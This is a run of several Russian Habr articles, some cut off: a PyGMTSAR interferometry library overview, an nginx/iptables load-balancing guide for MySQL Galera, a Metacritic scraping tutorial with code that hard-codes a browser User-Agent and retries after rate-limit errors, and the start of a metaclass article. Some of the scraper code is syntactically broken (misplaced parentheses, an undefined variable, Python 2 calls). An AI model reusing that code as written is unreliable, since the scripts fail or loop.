# PyGMTSAR (Python GMTSAR) — Спутниковая интерферометрия для всех [![MacOS tests](https://github.com/mobigroup/gmtsar/actions/workflows/macos.yml/badge.svg)](https://github.com/mobigroup/gmtsar/actions/workflows/macos.yml)[![Ubuntu tests](https://github.com/mobigroup/gmtsar/actions/workflows/ubuntu.yml/badge.svg)](https://github.com/mobigroup/gmtsar/actions/workflows/ubuntu.yml)[![PyPI tests](https://github.com/mobigroup/gmtsar/actions/workflows/pypi.yml/badge.svg)](https://github.com/mobigroup/gmtsar/actions/workflows/pypi.yml)[![Available on pypi](https://img.shields.io/pypi/v/pygmtsar.svg)](https://pypi.python.org/pypi/pygmtsar/)[![Docker](https://badgen.net/badge/icon/docker?icon=docker&label)](https://hub.docker.com/r/mobigroup/pygmtsar) Долго ли, коротко ли, а только мой проект спутниковой интерферометрии [PyGMTSAR](https://github.com/mobigroup/gmtsar), начинавшийся просто для проверки некоторых идей и алгоритмов, превратился в самостоятельную [Python PyPI библиотеку](https://pypi.org/project/pygmtsar/) и обзавелся тестами (CI on Github Actions) и "живыми" примерами на Google Colab и в [образе Docker](https://hub.docker.com/r/mobigroup/pygmtsar), плюс документацией на [GitHub Pages](https://mobigroup.github.io/gmtsar/). ![](https://habrastorage.org/r/w780q1/webt/rp/we/o5/rpweo5ypevq1mnthj67patj6f78.jpeg) "Классическая" интерферограмма — обычно так выглядит смещение поверхности в результате сильного землетрясения Введение -------- Приглашаю специалистов и всех желающих познакомиться с миром спутниковой интерферометрии — открыть "живые" ноутбуки на Google Colab или в образе Docker и посмотреть уже готовые результаты, запустить их на выполнение и, возможно, посчитать собственные интерферограммы для интересующих вас территорий и дат, следуя инструкциям в ноутбуках. Кроме того, в GitHub репозитории [Yamchi Dam, Ardabil, North Iran](https://github.com/mobigroup/YamchiDam) доступны Jupyter ноутбуки для обработки серии из примерно 800 интерферограмм за период 5.5 лет (внимание — потребуется скачать несколько терабайт исходных Sentinel-1 SLC сцен в zip-архивах), протестированные на ноутбуке Apple Air (Apple Silicon M2) и моноблоке Apple iMac (Apple Silicon M1). Да, PyGMTSAR использует эффективные алгоритмы и концепцию отложенных вычислений (lazy computing) и способен успешно работать и на Apple Air, выполняя за день вычисления, которые занимают недели на мощных серверах и рабочих станциях (и далеко не всегда завершаются успешно). Живые примеры в образе Docker ----------------------------- Если вы используете Docker, настройте ваш рантайм (Preferences -> Resources для Docker Desktop) на использование 2 ядер CPU и 8 GB RAM или 4 ядер CPU и 16 GB RAM (или более, в той же пропорции). Загрузите образ Docker (или соберите собственный с помощью Dockerfile в репозитории) и запустите контейнер с пробросом порта 8888 для JupyterLab используя приведенные ниже консольные команды: ``` docker pull mobigroup/pygmtsar docker run -dp 8888:8888 --name pygmtsar docker.io/mobigroup/pygmtsar docker logs pygmtsar ``` В отобразившемся тексте будет предложена ссылка для получения доступа из вашего веб браузера к JupyterLab серверу внутри контейнера. Также Docker образ можно запустить в приложении Docker Desktop, нажав для него кнопку "RUN" и указав имя контейнера (например, pygmtsar) и переадресуемый порт (8888) в появившемся диалоговом окне ("Optional settings") и кликнув на вновь созданном контейнере, чтобы увидеть кликабельную ссылку для открытия интерфейса JupyterLab. Ноутбук S1A\_Stack\_CPGF\_T173.ipynb скачивает всего лишь около 1.5 GB предварительно подготовленных данных (вместо исходных архивов сцен Sentinel-1). Ноутбуки ASF*Downloading*\* потребуют авторизации на общедоступном сервере NASA Alaska Satellite Facility (ASF), ссылка для регистрации приведена непосредственно в ноутбуках — на этом сервере можно найти и скачать Sentinel-1 SLC сцены для любой интересующей вас территории и интервала дат. Для выполнение всех ноутбуков потребуется контейнер размером 100 GB и будет скачено 30-50 GB данных. Живые примеры на Google Colab ----------------------------- Этот вариант еще проще и требует лишь кликнуть на ссылках (см. иконки "Open in Colab"), чтобы получить интерактивный интерфейс выполнения предложенных Jupyter ноутбуков непосредственно в окне браузера с помощью облачных ресурсов Google Colab. Ноутбуки ASF*Downloading*\* потребуют авторизации на общедоступном сервере NASA Alaska Satellite Facility (ASF), ссылка для регистрации приведена непосредственно в ноутбуках — на этом сервере можно найти и скачать Sentinel-1 SLC сцены для любой интересующей вас территории и интервала дат. Также ноутбуки включают в себя данные из публикаций, позволяющие сравнить результаты с полученными в таких известных программах спутниковой интерферометрии, как GMTSAR, SNAP and GAMMA Software. Далее комментарии к ноутбукам даны на английском языке, потому что использованные термины необходимы, если вы захотите по ключевым словам найти ноутбук, решающий определенную задачу. [![Open In Colab](https://habrastorage.org/getpro/habr/post_images/f4b/2a9/316/f4b2a931637833ba516509a93f28f40b.svg)](https://colab.research.google.com/drive/12LJqlZNBUmvLlRl98rRFCbKveVPg9Ami?usp=sharing) **ASF Downloading 2017 Iran–Iraq Earthquake vs GMTSAR GAMMA SNAP Co-Seismic Interferogram** The notebook **downloads Sentinel-1 Scenes from Alaska Satellite Facility (ASF)** and **compares the results to GMTSAR, SNAP and GAMMA Software**. Note: replace the scene names to produce an **interferogram** and **LOS displacement** for your area of interest. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/939/032/215/939032215f41715cd7cbc08438b7f8a0.png) [![Open In Colab](https://habrastorage.org/getpro/habr/post_images/f4b/2a9/316/f4b2a931637833ba516509a93f28f40b.svg)](https://colab.research.google.com/drive/1PyYcxvuyzhh-g4NQEbKjcfTDQhREZInn?usp=sharing) **Live Example S1A\_2016\_Kumamoto Earthquake\_Co-Seismic Interferogram vs ESA Sentinel 1 Toolbox on Alaska Satellite Facility**. This is a single subswath processing with **landmask** applied to **interferogram**, **unwapped phase**, and **LOS, east-west, vertical displacement** results. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/970/eff/848/970eff84801c53349c81f619b8885f4b.jpg) ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/bfc/397/b20/bfc397b20d03e136da40823d0ae9ed66.png) ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/364/4f9/b33/3644f9b338154d649191d301e87d0256.png) [![Open In Colab](https://habrastorage.org/getpro/habr/post_images/f4b/2a9/316/f4b2a931637833ba516509a93f28f40b.svg)](https://colab.research.google.com/drive/1ZTPV4HY-UoLvDYVx0UGh_Z3B12scSh9E?usp=sharing) **Live Example S1AB 2021 Crete Earthquake Co-Seismic Interferogram vs Centre of EO Research & Satellite Remote Sensing, Greece Report** This is a single **cropped subswath** processing with **landmask** applied to **interferogram**, **unwapped phase**, and **LOS, east-west, vertical displacement** results. ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/627/951/1e0/6279511e0366f2951f8bf5f0a1630efc.jpg) ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/7f1/0e4/533/7f10e4533c645dce9058a8e463d84863.png) [![Open In Colab](https://habrastorage.org/getpro/habr/post_images/f4b/2a9/316/f4b2a931637833ba516509a93f28f40b.svg)](https://colab.research.google.com/drive/1sljxm2jAMGXynq4EYam6Siz8OLcPLN0h?usp=sharing) **GMTSAR example dataset S1A\_Stack\_CPGF\_T173** This example illustrates **SBAS** and **PSI** analyses and **detrending** approach to remove **atmospheric noise** to produce much better results. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/fc1/696/0ff/fc16960ffd30cf8fe3800333d3819622.png) ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/fa2/4d9/1d3/fa24d91d355b8f39d625b097fe51cd95.png) [![Open In Colab](https://habrastorage.org/getpro/habr/post_images/f4b/2a9/316/f4b2a931637833ba516509a93f28f40b.svg)](https://colab.research.google.com/drive/1ZBVwlkiXMhSDS96oojpWrzTyRFIxv8Rp?usp=sharing) **ASF Downloading 2020 Ardabil, Iran Earthquake Co-Seismic Interferogram and LOS Displacement** The notebook **downloads Sentinel-1 Scenes from Alaska Satellite Facility (ASF)** to **crop the area** and **merge subswaths** and **detrend** results. Note: replace the scene names to produce an interferogram for your area of interest. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/847/eeb/7ea/847eeb7ea6bc5a6c0afd9d804c3799ca.png) ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/04e/206/4bc/04e2064bc312d682ea688075066aca16.png) Заключение ---------- Было довольно интересно, что называется, довести проект до ума — то есть из прототипа для собственного применения сделать систему, которой может воспользоваться действительно каждый, и при этом сохранить возможности для выполнения сложных проектов на большом объёме данных (терабайты и десятки терабайт) даже на типовом ноутбуке. Процессоры Apple Silicon полностью оправдали мои надежды и позволяют делать фантастические вещи. Также очень полезен оказался Apple iCloud — единственный сервис хранения больших объемов данных, позволяющий получать прямые ссылки на файлы (смотрите, как сделано скачивание данных в представленных ноутбуках) и не требующий платы за трафик. Docker произвел впечатление технологии удобной для пользователя, но очень "сырой" для разработчика. Во-первых, это совершенно нерациональное использование ресурсов с запуском виртуальной машины qemu даже для софта, совместимого с целевой платформой. Во-вторых, это совершенно адские программные баги — например, при сборке образа для платформы amd64 на платформе arm64 (Apple Silicon) в запущенном на целевой платформе (amd64) образе при многопоточном выполнении (при однопоточном выполнении все работает как ожидается) стандартный вывод скриптов (stdout) внезапно появляется на stderr, а stdout оказывается пустым! При сборке этого же образа на платформе amd64 (Intel Mac) баг не возникает. Пришлось в коде PyGMTSAR добавить "костыль" для чтения stderr вместо stdout в этом случае — поскольку покупать поддержку Docker, только чтобы зарепортить этот баг (не на форуме же у них об этом писать), я не планирую, то не факт, что его вообще когда-нибудь починят. Еще какие-то более мелкие "грабли" были, но после вот этого я о них уже забыл. И все же образы для amd64 и arm64 (Apple Silicon, в том числе) сделаны и работают. И пару слов про отложенные, или ленивые, вычисления (lazy computing). Библиотеки Dask, xarray и прочие позволяют делать невероятные вещи, но порой грешат неумеренным потреблением памяти и, вдобавок, при прерывании вычисления (в случае ошибки или пользователем) память зачастую не освобождается. Указанные проблемы удалось обойти, распределив вычисления на отдельных блоках данных (chunk) по потокам с помощью библиотеки joblib — так что при прерывании и при завершении потока память освобождается, в то же время, можно пользоваться всеми преимуществами отложенных вычислений. Итак, PyGMTSAR позволяет мгновенно "загрузить" 3D куб данных размером в сотни гигабайт и эффективно выполнять вычисления при наличии всего лишь 16 GB RAM (для 8 ядер CPU). В то же время, при отсутствии достаточно большого файла подкачки (swap) — как в Docker контейнере — необходимо иметь 4 GB RAM на каждое ядро процессора, как это и указано выше в секции про использование Docker образа PyGMTSAR. Также смотрите -------------- * [Мои статьи на Хабре](https://habr.com/ru/users/n-cube/posts/) * [Теоретические и практические статьи и посты на LinkedIn](https://www.linkedin.com/in/alexey-pechnikov/) * [Геологические модели и код на GitHub](https://github.com/mobigroup) * [YouTube канал с геологическими моделями](https://www.youtube.com/channel/UCSEeXKAn9f_bDiTjT6l87Lg) * [Геологические модели в виртуальной/дополненной реальности (VR/AR)](
https://habr.com/ru/post/692334/
null
ru
null
# NGINX как балансировщик нагрузки для MySQL или MariaDB Galera Cluster *Данная статья является переводом оригинальной [статьи](http://severalnines.com/blog/nginx-database-load-balancer-mysql-or-mariadb-galera-cluster) с сайта Severalnines.* Nginx хорошо известен всем за свои расширенные возможности и эффективность в качестве прокси и/или балансировщика веб-приложений с низким потреблением памяти. Как правило, nginx используется на первой “линии обороны” веб приложений, чтобы распределять нагрузку на сервера бекенда, периодически проверяя их работоспособность. Данная технология довольно популярна для приложений, которым требуется повышенная отказоустойчивость. ![](https://habrastorage.org/r/w1560/files/40d/9ee/28b/40d9ee28b58d43c0b73df6a0fae55a87.png) Недавно nginx 1.9 анонсировали поддержку балансировки TCP, примерно тоже самое, что до этого реализовывалось с использованием HAProxy. Одним из самых больших недостатков будет то, что nginx не поддерживает расширенную проверку работоспособности серверов. Данная функция необходима, если вы используете MySQL Galera Cluster. Мы расскажем об этом подробнее в следующей главе. Стоит обратить внимание, что в платной версии (под названием NGINX Plus) данного ограничения нет. В этой статье мы используем nginx, как прокси для MySQL Galera Cluster и попробуем получить высокую производительность. Мы подняли кластер Galera, используя ClusterControl, на CentOS 7.1; установим nginx на “свежий” хост, как указано на диаграмме: ![](https://habrastorage.org/r/w1560/files/4c9/22a/5e3/4c922a5e35f64e10a846a427ae6d5258.png) #### Проверка работоспособности С появлением синхронно-реплицируемых кластеров, как Galera или NDB, использование TCP прокси в качестве балансировщика нагрузки стало довольно популярным. Все ноды MySQL обрабатываются одинаково, так как со всех них можно читать, а также на всех них можно записывать. Разделение между мастером и слейвом больше не требуется, как это было с классической репликацией MySQL. Nginx не предназначен для баз данных, поэтому придется прибегнуть к дополнительным конфигурациям, чтобы заставить кластер возвращать “понятный” ответ на проверку работоспособности. Если вы используете HAProxy, скрипт проверки работоспособности на каждом сервере MySQL должен уметь возвращать HTTP статус. К примеру, если MySQL сервер “чувствует себя хорошо” — скрипт вернет HTTP статус 200 OK. В обратном случае — скрипт вернет 503 Service unavailable. С такими настройками HAProxy может обновлять список роутинга и исключать “проблематичные” сервера. К сожалению, для проверки работоспособности, HAProxy использует xinetd в качестве демона, слушающего на 9200 порту. Этих конфигураций пока нет в nginx. Данная блок-схема иллюстрирует процесс определения работоспособности кластера Galera с настройкой мульта-мастер: ![](https://habrastorage.org/r/w1560/files/da4/5b4/f1b/da45b4f1bc37468a86cb6a2012c64934.png) На момент написания статьи, NGINX Plus (платный) также поддерживал проверку работоспособности серверов, но без настройки кастомного порта. #### Использование clustercheck-iptables Чтобы обойти ограничения, мы создали скрипт для проверки работоспособности под названием [clustercheck-iptables](https://github.com/ashraf-s9s/clustercheck-iptables/blob/master/mysqlchk_iptables). Это фоновый скрипт, который проверяет работоспособность ноды Galera и добавляет перенаправляющий порт, используя iptables, если нода работает как положено (вместо того чтобы возвращать HTTP ответ). Данный скрипт можно использовать с другими TCP балансерами, с ограниченными возможностями проверки работоспособности, таких как nginx (>1.9), IPVS, keepalived, piranha, distributor, balance или pen. Как он работает? Скрипт проверяет работоспособность на каждой ноде кластера Galera, раз в секунду. Если нода работает в штатном режиме (wsrep\_cluster\_state\_comment=Synced и read\_only=OFF) или (wsrep\_cluster\_state\_comment=Donor и wsrep\_sst\_method=xtrabackup/xtrabackup-v2), будет поднят порт переадресации, используя iptables (3308 по умолчанию, с переадресацией на 3306): ``` $ iptables -t nat -A PREROUTING -s $0.0.0.0/0 -p tcp --dport 3308 -j REDIRECT --to-ports 3306 ``` В обратном случае, это правило будет удалено из списка правил iptables. На балансире необходимо установить порт 3308 вместо порта по умолчанию 3306. Если нода нездорова, порт 3308 будет недоступен, балансеру в таком случает, стоит удалить эту ноду из списка балансировки. Давайте установим скрипт и посмотрим, как он работает на практике: 1. На серверах БД — выполните следующие команды, для установки скрипта: ``` $ git clone https://github.com/ashraf-s9s/clustercheck-iptables $ cp clustercheck-iptables/mysqlchk_iptables /usr/local/sbin ``` 2. По умолчанию скрипт будет использовать пользователя MySQL “mysqlchk\_user” с паролем “mysqlchk\_password”. Нам стоит убедиться, что пользователь существует и имеет необходимые права для проверки работоспособности. Выполните эти команды на одной из нод кластера (Galera выполнит их на остальных нодах). ``` mysql> GRANT PROCESS ON *.* TO 'mysqlchk_user'@'localhost' IDENTIFIED BY 'mysqlchk_password'; mysql> FLUSH PRIVILEGES; ``` \*\* Если вы хотите использовать другого пользователя или пароль, укажите их в аргументах -u и -p. Вот [тут](https://github.com/ashraf-s9s/clustercheck-iptables) есть пример. 3. Скрипту необходим iptables для работы. В данном примере мы используем CentOS 7, где по умолчанию установлен firewalld. Нам нужно установить iptables-services: ``` $ yum install -y iptables-services $ systemctl enable iptables $ systemctl start iptables ``` Затем, установим базовые правила для кластера MySQL Galera, так чтобы iptables не влиял на коммуникации с БД: ``` $ iptables -I INPUT -m tcp -p tcp --dport 3306 -j ACCEPT $ iptables -I INPUT -m tcp -p tcp --dport 3308 -j ACCEPT $ iptables -I INPUT -m tcp -p tcp --dport 4444 -j ACCEPT $ iptables -I INPUT -m tcp -p tcp --dport 4567:4568 -j ACCEPT $ service iptables save $ service iptables restart ``` 4. После установки правил, проверим их используя команду: ``` $ iptables -L -n ``` 5. Протестируем mysqlchk\_iptables: ``` $ mysqlchk_iptables -t Detected variables/status: wsrep_local_state: 4 wsrep_sst_method: xtrabackup-v2 read_only: OFF [11-11-15 08:33:49.257478192] [INFO] Galera Cluster Node is synced. ``` 6. Выглядит хорошо. Теперь запустим скрипт в роли демона: ``` $ mysqlchk_iptables -d /usr/local/sbin/mysqlchk_iptables started with PID 66566. ``` 7. Наши правила роутинга будут выглядеть примерно вот так: ``` $ iptables -L -n -t nat Chain PREROUTING (policy ACCEPT) target prot opt source destination REDIRECT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:3308 redir ports 3306 Chain INPUT (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Chain POSTROUTING (policy ACCEPT) target prot opt source destination ``` 8. Наконец-то, добавим запуск скрипта в /etc/rc.local, чтобы запускался на старте сервера: ``` $ echo '/usr/local/sbin/mysqlchk_iptables -d' >> /etc/rc.local ``` В некоторых дистибутивах стоит проверить, что у rc.local есть необходимые права для запуска скрипта: ``` $ chmod +x /etc/rc.local ``` На стороне приложения проверьте, что вы можете подключиться к БД на порту 3308. Повторите вышеперечисленные шаги (кроме 2) на всех (оставшихся) нодах кластера. Итак, мы закончили с проверками работоспособности, теперь займемся балансировкой. #### Установка nginx в роли балансировщика нагрузки на кластер MySQL 1. На балансировщике (сервере) — установим необходимые пакеты: ``` $ yum -y install pcre-devel zlib-devel ``` 2. Установим nginx 1.9 (из кода) с модулем TCP proxy: ``` $ wget http://nginx.org/download/nginx-1.9.6.tar.gz $ tar -xzf nginx-1.9.6.tar.gz $ ./configure --with-stream ``` 3. Добавим следующие строки в файл конфигурации nginx (`/usr/local/nginx/conf/nginx.conf`): ``` stream { upstream stream_backend { zone tcp_servers 64k; server 192.168.55.201:3308; server 192.168.55.202:3308; server 192.168.55.203:3308; } server { listen 3307; proxy_pass stream_backend; proxy_connect_timeout 1s; } } ``` 4. Запустим nginx: ``` $ /usr/local/nginx/sbin/nginx ``` 5. Убедимся, что nginx “слушает” на порту 3307, как мы указали в конфигурации. Подключения MySQL должны идти именно через этот порт, после чего, они будут переведены на порт 3308. Затем iptables (на ноде) переведет запрос на порт 3306, где “слушает” MySQL: ``` $ netstat -tulpn | grep 3307 tcp 0 0 0.0.0.0:3307 0.0.0.0:* LISTEN 5348/nginx: master ``` Отлично! Мы установили nginx в роли балансировщика нагрузки на MySQL Galera Cluster. Переходим к тестированию. #### Тестирование Мы проводили следующие тесты, чтобы проверить балансировку nginx для кластера Galera: 1. Устанавливали read-only=ON и read\_only=OFF на g1.local. 2. Убивали процесс mysql на g1.local и принуждали SST на запуске. 3. Убивали 2 другие ноды БД, чтобы g1.local стал non-primary. 4. Запускали g1.local из non-primary статуса. 5. Присоединяли другие 2 ноды. [Скринкаст](https://asciinema.org/a/29799) ниже покажет вывод нескольких терминалов: * Терминал 1 (левый верхний угол): вывод iptables PREROUTING. * Терминал 2 (правый верхний угол): MySQL error.log на g1.local. * Терминал 3 (центр слева): вывод приложения при подключении к балансировщику nginx. Показывает date, hostname, wsrep\_last\_committed и wsrep\_local\_state\_comment. * Терминал 4 (центр справа): вывод /var/log/mysqlchk\_iptables. * Терминал 5 (левый снизу): вывод read\_only и wsrep\_sst\_method на g1.local. * Терминал 6 (правый снизу): рабочая панель. [![](https://habrastorage.org/r/w1560/files/903/c59/998/903c59998cfe4c75af70b185f8dc6fab.png)](https://asciinema.org/a/29799) #### Заключение Проверка работоспособности ноды кластера Galera была ограничена HAProxy, так как только HAProxy позволяла использовать кастомный порт. С этим [скриптом](https://github.com/ashraf-s9s/clustercheck-iptables) можно использовать любой TCP балансировщик нагрузки и/или прокси для корректного мониторинга нод кластера Galera.
https://habr.com/ru/post/271467/
null
ru
null
# Как я парсил всю базу данных игр Metacritic-а ***Metacritic** — англоязычный сайт-агрегатор, собирающий отзывы о музыкальных альбомах, играх, фильмах, телевизионных шоу и DVD-дисках.* (с википедии). Использованные библиотеки: **lxml**, **asyncio**, **aiohttp** (lxml — библиотека разбора HTML страниц с помощью Python, asyncio и aiohttp будем использовать для асинхронности и быстрого извлечения данных). Также будем активно использовать XPath. Кто не знает, что это такое, отличный [туториал](http://www.w3schools.com/xml/xpath_intro.asp). ### Получение ссылок на страницы всех игр Сперва придется немного поработать ручками. Идем на [www.metacritic.com/browse/games/genre/metascore/action/all?view=detailed](http://www.metacritic.com/browse/games/genre/metascore/action/all?view=detailed) и собираем все URL-ы из этого списка: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/a5c/dad/65b/a5cdad65b9c8d57bcae65cd8be348c3f.png) И сохраняем их в .json файл с именем **genres.json**. Мы будем применять эти ссылки, чтобы парсить все игры с сайта по жанрам. Немного подумав, я решил собрать все ссылки на игры в .csv файлы, разделенные на жанры. Каждый файл будет иметь имя соответствующее жанру. Заходим по вышеупомянутой ссылке и сразу видим страницу жанра Action. Замечаем, что присутствует пагинация. Смотрим в html-страницы: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/e68/e05/5f7/e68e055f7909e027a7cbd16a12bb77ee.png) И видим, что искомый элемент **а**, который содержит максимальное число страниц — наследник элемента **li** с уникальным аттрибутом **class = page last\_page**, также замечаем, что url-ы всех страниц, кроме первой, имеют вид + <&page=page\_number>, и что вторая страница в параметре запроса имеет номер 1. Собираем XPath для получения номера максимальной страницы: ***//li[@class='page last\_page']/a/text()*** Теперь нужно получить каждую ссылку на каждую игру из этого листа. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/8ab/2ff/3aa/8ab2ff3aa50b70213b622cae7cb2aff4.png) Заглядываем в разметку листа и изучаем html. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/11f/fba/8d9/11ffba8d975c5d343d0ec2c835654437.png) Во первых нам в качестве корневого элемента для поиска нужно получить сам список **(ol)**. У него есть уникальный для html-кода страницы аттрибут **class = list\_products list\_product\_summaries**. Затем видим, что **li** имеет дочерний элемент **h3** с дочерним элементом **a**, в аттрибуте **href** которого и находится искомая ссылка на игру. Собираем всё воедино: ***//ol[@class='list\_products list\_product\_summaries']//h3[@class='product\_title']/a/@href*** Отлично! Полдела сделано, теперь нужно программно организовать цикл по страницам, сбор ссылок и сохранение их в файлы. Для ускорения распараллелим операцию на все ядра нашего PC. ``` # get_games.py import csv import requests import json from multiprocessing import Pool from time import sleep from lxml import html # Базовый домен. root = 'http://www.metacritic.com/' # При большом количестве запросов Metacritic выдает ошибку 429 с описанием 'Slow down' # будем избегать её, останавливая поток на определенное количество времени. SLOW_DOWN = False def get_html(url): # Metacritic запрещает запросы без заголовка User-Agent. headers = {"User-Agent": "Mozilla/5.001 (windows; U; NT4.0; en-US; rv:1.0) Gecko/25250101"} global SLOW_DOWN try: # Если у нас в каком-либо потоке появилась ошибка 429, то приостанавливаем все потоки # на 15 секунд. if SLOW_DOWN: sleep(15) SLOW_DOWN = False # Получаем html контент страницы стандартным модулем requests html = requests.get(url, headers=headers).content.decode('utf-8') # Если ошибка в html контенте, то присваеваем флагу SLOW_DOWN true. if '429 Slow down' in html: SLOW_DOWN = True print(' - - - SLOW DOWN') raise TimeoutError return html except TimeoutError: return get_html(url) def get_pages(genre): # Сложим все жанры в папку Games with open('Games/' + genre.split('/')[-2] + '.csv', 'w') as file: writer = csv.writer(file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL) # Структура url страниц > 1 genre_page_sceleton = genre + '&page=%s' def scrape(): page_content = get_html(genre) # Получаем корневой lxml элемент из html страницы. document = html.fromstring(page_content) try: # Извлекаем номер последней страницы и кастим в int. lpn_text = document.xpath("//li[@class='page last_page']/a/text()" last_page_number = int(lpn_text)[0]) pages = [genre_page_sceleton % str(i) for i in range(1, last_page_number)] # Не забываем про первую страницу. pages += [genre] # Для каждой страницы собираем и сохраняем ссылки на игры в файл жанра. for page in pages: document = html.fromstring(get_html(page)) urls_xpath = "//ol[@class='list_products list_product_summaries']//h3[@class='product_title']/a/@href" # К ссылке каждой игры прибавляем url корня сайта. games = [root + url for url in document.xpath(urls_xpath)] print('Page: ' + page + " - - - Games: " + str(len(games))) for game in games: writer.writerow([game]) except: # Скорее всего опять 429 ошибка. Парсим страницу заново. scrape() scrape() def main(): # Загружаем ссылки на страницы жанров из нашего .json файла. dict = json.load(open('genres.json', 'r')) p = Pool(4) # Простой пул. Функцией map отдаем каждому потоку его порцию жанров для парсинга. p.map(get_pages, [dict[key] for key in dict.keys()]) print('Over') if __name__ == "__main__": main() ``` Сливаем все файлы со ссылками в один файл. Если вы под линуксом, то просто используем cat и перенаправляем STDOUT в новый файл. Под виндой напишем небольшой скрипт и запустим его в папке с файлами жанров. ``` from os import listdir from os.path import isfile, join onlyfiles = [f for f in listdir('.') if isfile(join(mypath, f))] fout=open("all_games.csv","a") for path in onlyfiles: f = open(path) f.next() for line in f: fout.write(line) f.close() fout.close() ``` Теперь у нас есть один большой .csv файл со ссылками на все игры на Metacritic. Достаточно большой, 25 тысяч записей. Плюс есть дупликаты, так как одна игра может иметь несколько жанров. ### Извлечение информации о всех играх Каков наш план дальше? Пройтись по каждой ссылке и извлечь информацию о каждой игре. Заходим, например, на страницу [Portal 2](http://www.metacritic.com/game/pc/portal-2). Будем извлекать: * Название игры * Платформы * Описание * Metascore * Жанр * Дата выпуска Чтобы сократить пост, сразу приведу xpath-ы, которыми извлекал данную информацию. Название игры: ***//h1[@class='product\_title']//span[@itemprop='name']//text()*** Платформ у нас может быть несколько, поэтому понадобятся два запроса: ***//span[@itemprop='device']//text()*** ***//li[@class='summary\_detail product\_platforms']//a//text()*** Описание у нас находится в Summary: ***//span[@itemprop='description']//text()*** Metascore: ***//span[@itemprop='ratingValue']//text()*** Жанр: ***//span[@itemprop='description']//text()*** Дата выпуска: ***//span[@itemprop='datePublished']//text()*** Вспоминаем, что у нас 25 тысяч страниц и хватаемся за голову. Что делать? Даже с несколькими потоками будет долговато. Выход есть — асинхронность и неблокирующие корутины. Вот [отличное видео от PyCon](https://www.youtube.com/watch?v=MCs5OvhV9S4). Async-await упрощают асинхронное программирование в python 3.5.2. [Туториал на Хабре](https://habrahabr.ru/post/266743/). Пишем код для нашего парсера. ``` from time import sleep import asyncio from aiohttp import ClientSession from lxml import html # Считываем ссылки на все игры из нашего файла, убираем дупликаты. games_urls = list(set([line for line in open('Games/all_games.csv', 'r')])) # Сюда будем складывать результат. result = [] # Сколько всего страниц наша программа запарсила на данный момент. total_checked = 0 async def get_one(url, session): global total_checked async with session.get(url) as response: # Ожидаем ответа и блокируем таск. page_content = await response.read() # Получаем информацию об игре и сохраняем в лист. item = get_item(page_content, url) result.append(item) total_checked += 1 print('Inserted: ' + url + ' - - - Total checked: ' + str(total_checked)) async def bound_fetch(sm, url, session): try: async with sm: await get_one(url, session) except Exception as e: print(e) # Блокируем все таски на 30 секунд в случае ошибки 429. sleep(30) async def run(urls): tasks = [] # Выбрал лок от балды. Можете поиграться. sm = asyncio.Semaphore(50) headers = {"User-Agent": "Mozilla/5.001 (windows; U; NT4.0; en-US; rv:1.0) Gecko/25250101"} # Опять же оставляем User-Agent, чтобы не получить ошибку от Metacritic async with ClientSession( headers=headers) as session: for url in urls: # Собираем таски и добавляем в лист для дальнейшего ожидания. task = asyncio.ensure_future(bound_fetch(sm, url, session)) tasks.append(task) # Ожидаем завершения всех наших задач. await asyncio.gather(*tasks) def get_item(page_content, url): # Получаем корневой lxml элемент из html страницы. document = html.fromstring(page_content) def get(xpath): item = document.xpath(xpath) if item: return item[-1] # Если вдруг какая-либо часть информации на странице не найдена, то возвращаем None return None name = get("//h1[@class='product_title']//span[@itemprop='name']//text()") if name: name = name.replace('\n', '').strip() genre = get("//span[@itemprop='genre']//text()") date = get("//span[@itemprop='datePublished']//text()") main_platform = get("//span[@itemprop='device']//text()") if main_platform: main_platform = main_platform.replace('\n', '').strip() else: main_platform = '' other_platforms = document.xpath("//li[@class='summary_detail product_platforms']//a//text()") other_platforms = '/'.join(other_platforms) platforms = main_platform + '/' + other_platforms score = get("//span[@itemprop='ratingValue']//text()") desc = get("//span[@itemprop='description']//text()") #Возвращаем словарь с информацией об игре. return {'url': url, 'name': name, 'genre': genre, 'date': date, 'platforms': platforms, 'score': score, 'desc': desc} def main(): #Запускаем наш парсер. loop = asyncio.get_event_loop() future = asyncio.ensure_future(run(games_urls)) loop.run_until_complete(future) # Выводим результат. Можете сохранить его куда-нибудь в файл. print(result) print('Over') if __name__ == "__main__": main() ``` Получаеся очень даже неплохо, на моем компьютере Intel i5 6600K, 16 GB RAM, lan 10 mb/s получалось где-то 10 игр/сек. Можно подправить код и адаптировать скрипт под музыку\фильмы.
https://habr.com/ru/post/319966/
null
ru
null
# Метаклассы в Python ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/e1c/263/da4/e1c263da4ab7cda1814cba2c6df4b446.jpg)Привет, Хабр! У нас продолжается [распродажа в честь черной пятницы](https://habr.com/ru/company/piter/news/t/590621/). Там вы найдете много занимательных книг. Возможен вопрос: а что такое **метакласс**? Если коротко, **метакласс** относится к  *классу* точно как *класс* к *объекту*. **Метаклассы** – не самый популярный аспект языка Python; не сказать, что о них воспоминают в каждой беседе. Тем не менее, они используется в весьма многих статусных проектах: в частности, Django ORM[[2]](#222), стандартная библиотека абстрактных базовых классов (ABC)[[3]](#333) и реализации Protocol Buffers [[4]](#444). Это сложная фича, позволяющая программисту приспособить под задачу некоторые самые базовые механизмы языка. Именно по причине такой гибкости открываются и возможности для злоупотреблений – но нас это уже не удивляет. **С большими возможностями приходит большая ответственность**. Данная тема обычно не затрагивается в различных руководствах и вводных материалах по языку, поскольку считается «продвинутой» — но и с ней надо с чего-то начинать. Я немного поискал в онлайне и в качестве наилучшего введения в тему нашел соответствующий вопрос на StackOverflow и ответы на него [[1]](#111). Поехали. Все примеры кода приведены на Python 3.6 – на момент написания статьи это 